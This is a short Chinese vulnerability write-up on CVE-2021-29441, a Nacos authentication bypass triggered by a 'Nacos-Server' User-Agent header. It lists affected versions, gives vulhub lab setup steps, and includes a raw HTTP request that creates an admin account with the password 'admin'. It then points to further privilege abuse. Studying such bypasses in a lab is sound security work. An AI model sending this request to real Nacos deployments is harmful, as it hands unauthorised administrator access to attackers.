CVE-2021-29441 User-Agent 权限绕过

声明

本文版权归原作者所有,未经允许禁止转载。

漏洞原理

在配置文件中开启了以下选项,以允许其他服务端免鉴权,判断方式为 UA 头是否包含 Nacos-Server

nacos.core.auth.enable.userAgentAuthWhite=false

影响版本

Nacos <= 2.0.0-ALPHA.1

默认配置只影响:

Nacos < 1.4.1

前提条件

暂无。

漏洞利用

环境搭建:

git clone https://github.com/vulhub/vulhub.git

cd vulhub/nacos/CVE-2021-29441

# 修改nacos版本为1.4.1
vi docker-compose.yml

# 添加选项 NACOS_AUTH_USER_AGENT_AUTH_WHITE_ENABLE=true
vi env/nacos-standlone-mysql.env

# 启动
docker compose up -d

正常:

绕过:

POST /nacos/v1/auth/users/?username=admin&password=admin HTTP/1.1
Host: 172.16.31.21:8848
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate
Content-Length: 0
 
 

后续利用可前往 Nacos 关键利用接口(用户 & 角色 & 权限)